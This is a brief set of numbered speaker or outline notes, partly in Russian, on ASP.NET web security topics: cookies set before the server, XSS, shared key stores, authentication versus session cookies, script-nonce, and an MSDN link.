  • #39: Set cookie before the server (XSS, Set-Cookie header) В распределенной системе вы должны позаботиться о key store доступный всем серверам
  • #45: Authentication cookie Session cookie Differences with ASP .NET WebForms/MVC implementation
  • #59: Упомянуть про script-nonce
  • #61: https://msdn.microsoft.com/en-us/library/dd565647